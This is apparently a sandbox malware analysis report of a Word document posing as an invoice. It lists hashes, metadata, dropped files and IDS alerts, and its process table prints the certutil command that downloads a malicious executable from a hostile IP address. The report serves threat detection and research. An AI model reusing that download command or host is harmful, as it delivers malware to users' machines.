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| File name: | O14_Faktura_000-032-6487-9931_19_06_F006_U1906161032529302699v.doc |
| Full analysis: | https://app.any.run/tasks/4a945ef2-ba70-4e5e-93fe-6687f6b5c4ed |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | October 14, 2019, 08:56:23 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Administrator, Template: Normal.dotm, Last Saved By: Administrator, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Thu Oct 3 14:22:00 2019, Last Saved Time/Date: Thu Oct 3 14:23:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0 |
| MD5: | B20400DC6BDFBDBFF06413683A964465 |
| SHA1: | AF809814E84F3009198DA3A2A7EF6F3F327FC752 |
| SHA256: | 20BB5DF4D1BED97B2E4EE9B2F9342156B6E68735408F5ADE9CAE2F00D532AAB5 |
| SSDEEP: | 192:wKHFxOlLZEvA+6/6rNavrgYjk+4bWlcdaZYcT6naIECb6YcBLA0jFwxrVtMg4Dwz:wk+8iSwvxjk+tcLIUeCOLA0jFAxtMjG |
MALICIOUS
Starts CertUtil for downloading files
- WINWORD.EXE (PID: 2152)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2152)
Downloads executable files from IP
- certutil.exe (PID: 2432)
Downloads executable files from the Internet
- certutil.exe (PID: 2432)
SUSPICIOUS
Executable content was dropped or overwritten
- certutil.exe (PID: 2432)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2152)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2152)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | Administrator |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | Administrator |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 1.0 minutes |
| CreateDate: | 2019:10:03 13:22:00 |
| ModifyDate: | 2019:10:03 13:23:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | - |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | - |
| Paragraphs: | - |
| CharCountWithSpaces: | - |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
37
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2152 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\O14_Faktura_000-032-6487-9931_19_06_F006_U1906161032529302699v.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2432 | "C:\Windows\System32\certutil.exe" -urlcache -split -f http://104.244.75.179/pladal.exe C:\Users\admin\AppData\Local\Temp\pladal.exe | C:\Windows\System32\certutil.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147954402 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 454
Read events
926
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
1
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA718.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$4_Faktura_000-032-6487-9931_19_06_F006_U1906161032529302699v.doc | pgc | |
MD5:CC4C3BEEE10F90044E6E12262ACB53C0 | SHA256:870841EF8932B6CED25B08F286E2CAEA5889063FD3F06EA5BFF186288095B54F | |||
| 2432 | certutil.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8E89E2E47589ED3DDFAED62B41346F8E | executable | |
MD5:2764767A2D1A56BE8A9ECAD34BC887E8 | SHA256:86521486374B5605DFBC8BDA25A68C9C2847FEDF5CA7B35E917DBDAC624074B4 | |||
| 2432 | certutil.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\pladal[1].exe | executable | |
MD5:2AC7B8FED17BC7B7AFA19544B20694B4 | SHA256:6886D08A19A55A4E4FFF3CBF2ABCF7D0EE513680B1EC0F74E3493CFC0569D232 | |||
| 2432 | certutil.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8E89E2E47589ED3DDFAED62B41346F8E | binary | |
MD5:F789C425AF3F699AF8CB600E68D7C02A | SHA256:A18214568420C7BD0A26FA681C335C38CC90FAEA85C0F6517AC255B089CF8F9A | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:E755D9D7A3DFBFCBDFE1CED66D92B911 | SHA256:ABC564DDCD0E6D591C3CF4E0D82CDA84FFDB249CAEE68A97E737CB2A7178A8AB | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2432 | certutil.exe | GET | — | 104.244.75.179:80 | http://104.244.75.179/pladal.exe | US | — | — | malicious |
2432 | certutil.exe | GET | 200 | 104.244.75.179:80 | http://104.244.75.179/pladal.exe | US | executable | 238 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2432 | certutil.exe | 104.244.75.179:80 | — | FranTech Solutions | US | malicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
2432 | certutil.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2432 | certutil.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2432 | certutil.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2432 | certutil.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2432 | certutil.exe | Misc activity | SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request |
2432 | certutil.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2432 | certutil.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2 ETPRO signatures available at the full report